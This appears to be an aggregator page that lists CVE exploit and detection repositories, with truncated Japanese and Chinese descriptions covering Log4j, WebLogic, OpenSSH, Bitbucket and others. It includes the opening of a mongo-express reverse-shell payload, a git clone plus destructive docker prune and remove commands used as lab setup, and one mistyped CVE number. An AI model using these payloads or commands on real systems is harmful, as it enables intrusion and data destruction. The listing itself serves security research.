cve-2021-44228-log4j-exploits

CVE-2021-4428 再現 本DEMOは、Log4j2 の超高危険度RCE脆弱性 CVE-2021-4428 の再現DEMOです。この脆弱性の危険性を認識し、ご利用のシステムの状況に応じて的を絞った防御を行うことを目的としています。 警告 本DEMOは技術面の研究のみを目的としており、悪意のあるリモートコンピュータへの侵入に関するスクリプトは含まれません。この脆弱性を利用して他人のコンピュータに不正に侵入する違法行為を行わないでください。違反した場合、以下の法的責任を負う可能性があります： 1...

CVE-2019-2725

CVE-2019-2725 CVE-2019-2725CNVD-C-2019-48814、WebLogic wls9-async コマンド実行結果 10.3.6 12.1.3 ResultBaseExec.java defineClass をテストするためのもので、悪意のあるクラスを base64 から復元してコードを実行します。主に利便性を目的としています（使用しても使用しなくても問題ありません）。 JDK7u21.java weblogic-2019-272512.1.3命令执行.txt 内の XML を生成します。jdk6 を使用してコンパイルしてください。...

CVE-2026-10195

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec function, combined with missing authorization checks on the REST API endpoints...

zoneminder-snapshots-rce-poc

Zoneminder スナップショット経由の未認証RCE CVE-2023-26035 POC これは、CVE-2023-26035 に記載されている Zoneminder のセキュリティ上の欠陥を悪用できる、Python で書かれたスクリプトです。このシステムは、1.36.33 および 1.37.33. より前のバージョンで脆弱です。 使用方法 リポジトリをあなたのマシンにクローンし、pip を使用して依存関係をインストールします（これらのインストールをグローバルインストールから分離する環境を作成するには、virtualenv を使用することをお勧めします）。 root@kitploi...

CVE-2022-26134-Exploit-Detection

Confluence RCE CVE-2022-26134 エクスプロイト検出 前提条件 1. ClamAV このリポジトリをクローンするか、ConfluenceサーバーにYaraルールをダウンロードします この脆弱性を最初に公開した volexity/threat-intel が提供する Yara ルールを使用しています。 Git クローン root@kitploit: git clone https://github.com/th3b3ginn3r/CVE-2022-26134-Exploit-Detection.git Raw ファイルのダウンロード...

CVE-2019-11932-whatsApp-exploit

CVE-2019-11932-whatsap-exploit system と gadget のアドレスは、情報漏えいの脆弱性によって見つかった実際のアドレスに置き換える必要があります。 system と gadget のアドレスを置き換えたら、コードを実行して破損した GIF ファイルを生成します。 では、やってみましょう root@mranonymousTZ:/root/Desktop/CVE-2019-11932-whatsap-exploit$ chmod +x build.py root@kitploit:...

cacti-rce-snmp-options-vulnerable-application

Cacti v1.2.24 认证命令注入（CVE-2023-39362）漏洞应用程序 这是一个用于测试 Cacti 漏洞（CVE-2023-39362 ）攻击程序的漏洞应用程序。 警告！ 此应用程序包含严重的安全漏洞。运行风险自负！建议使用经过备份且隔离的环境（例如具有近期快照和仅主机网络（host-only networking）的虚拟机）。请勿将此应用程序上传到任何面向互联网的服务器，否则它们将被入侵。 免责声明 : 我对任何人使用此应用程序的方式不承担任何责任。此应用程序的唯一用途是作为 CVE-2023-39362...

CVE-2021-2394

CVE-2021-2394 POC of CVE-2021-2394 免责声明 项目仅供学习使用，任何未授权检测造成的直接或者间接的后果及损失，均由使用者本人负责 注意事项 POC使用IIOP发包，请添加相关依赖（已将12.2.1.3.0版本的依赖放release） 请使用低版本的jdk安装weblogic进行测试 基于RMI的利用方式，JDK版本限制于6u132、7u131、8u121之前，在8u122及之后的版本中，加入了反序列化白名单的机制，关闭了RMI远程加载代码...

Joplin-CVE-2022-35131

Joplin CVE-2022-35131 Joplin のバージョン 2.8.8 以前に影響する、RCE につながる XSS。Windows および Linux でテスト済みで動作します。 報告および修正: 2022-06 技術概要 1. JavaScript ペイロードをタイトルとしてメモを作成する（POC は以下を参照） 2. Ctrl+P を押して、ノートまたはタイトル内の何かを検索する 3. 検索結果に表示されるとペイロードが実行される 4. ノートブックを共有することでリモートコード実行が可能になる 問題は、GotoAnything.tsx の 509...

CVE-2020-8163

CVE-2020-8163 CVE-2020-8163 - Railsにおけるユーザー指定のローカル名によるリモートコード実行 Rails 5.0.1 におけるユーザー指定のローカル名によるリモートコード実行 5.0.1 より前のバージョンの Rails には、render 呼び出しの locals 引数を制御できる攻撃者によって悪用される脆弱性が 存在しました。 この脆弱性には CVE 識別子 CVE-2020-8163 が割り当てられています。 影響を受けるバージョン: rails 5.0.1 影響を受けない: ユーザーがローカル名を制御できないアプリケーション 修正されたバージョン...

CVE-2019-10758

CVE-2019-10758 mongo-expressのリモートコード実行、リバースシェルのコードは以下のとおりです： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat...

poc-cribl-rce

免责声明 本文档仅供信息/教育目的使用。 编写本文档旨在演示该工具中的一个安全缺陷，以便供应商验证修复方案。 信息 已在 Cribl v1.5.0 上测试 - 未对早期版本进行测试，但可能同样存在漏洞。 有效的 JWT 令牌可以从一个 Cribl 实例传输并注入到另一个 Cribl 实例的会话中，从而使用户获得未经授权的访问权限。 此外，用于生成 JWT/会话的加密密钥可用于为任意用户名创建有效会话，并延长其有效期。 结合 Cribl 中运行脚本的能力，远程攻击者可以在 Cribl 实例上运行恶意代码，从而获得进一步的控制权。 下面是一个此类示例：利用脚本页面和长期有效的 JWT...

CVE-2019-0604_sharepoint_CVE

CVE-2019-0604 CVE-2019-0604 出典: https://www.thezdi.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability...

cve-2024-6387-poc

cve-2024-6387-poc OpenSSHのサーバー（sshd）におけるシグナルハンドラの競合状態 7etsuo 説明 CVE-2024-6387のエクスプロイトで、glibcベースのLinuxシステム上のOpenSSHサーバー（sshd）におけるシグナルハンドラの競合状態を標的とします。この脆弱性により、SIGALRMハンドラ内で非同期シグナル安全でない関数が呼び出されることで、root権限でのリモートコード実行が可能になります。 エクスプロイトの詳細 脆弱性の概要 このエクスプロイトは、OpenSSHのsshdにおけるSIGALRMハンドラの競合状態を標的とします：...

mybb-CVE-2022-24734

mybb-CVE-2022-24734 MyBB 1.8.29 - リモートコード実行 root@kitploit: git clone https://github.com/lavclash75/mybb-CVE-2022-24734.git cd "mybb-CVE-2022-24734" docker-compose down docker system prune -a docker rm -f $docker ps -a -q docker volume rm $docker volume ls -q docker-compose up -d...

Triage-CVE-2021-44228-Log4Shell-Log4j-

Triage: CVE-2021-44228 Log4Shell / Log4j このラボの目標は、近年最も広く悪用された実世界の脆弱性の1つであるLog4Shellという、別の有名な脆弱性をトリアージすることでした。影響を受けるライブラリがエンタープライズソフトウェア全体で非常に一般的だったためです。 ステップ1: NVDでCVEを開く 私はNational Vulnerability Databaseにアクセスし、CVEを調べました： root@kitploit: https://nvd.nist.gov/vuln/search/nvd/home?resultType=records...

WebLogic-Shiro-shell

Java反序列化技术分享 本次分享涉及的东西有以下几点： 1. Java序列化和反序列化基础 2. 为什么在反序列化的时候会产生漏洞？ 3. Java反射 4. ysoserial CommonsCollections2、CommonsCollections5 5. Java ClassLoader 加载类的几种方法 6. WebLogic CVE-2020-2555 CVE-2020-2883 RCE 7. Shiro-550 rememberMe 硬编码导致的反序列化RCE 8. WebLogic + Shiro 反序列化一键注册filter内存shell Java序列化和反序列化基...

cve-2022-36804

CVE-2022-36804 Bitbucket PoC このリポジトリには、Atlassian Bitbucket Server/Data Center の脆弱性 CVE-2022-36804 に対する Python エクスプロイトスクリプトが含まれています。この問題は Git アーカイブフローにおけるコマンドインジェクションの欠陥で、巧妙に細工された prefix パラメータがサーバーに解釈され、シェルコマンドとして実行される可能性があります。 CVE-2022-36804 とは? CVE-2022-36804 は、Bitbucket Server/Data Center...

UniBLEed

UniBLEed Unitree G1 RCE PoC & Scripts CVE-2026-76639 / CVE-2026-76640 technical details at boschko.ca/g1-ble-rce/ Use this repository only with robots, accounts, and networks you are authorized to test. The active chains can change the robot's WiFi configuration, stop or restart services, crash...

EUVD-2026-69300

The FS-Poster plugin for WordPress is vulnerable to Remote Code Execution in versions up to and including 8.0.1. This is due to insufficient input sanitization of the FFmpeg path parameter before passing it to the exec function, combined with missing authorization checks on the REST API endpoints...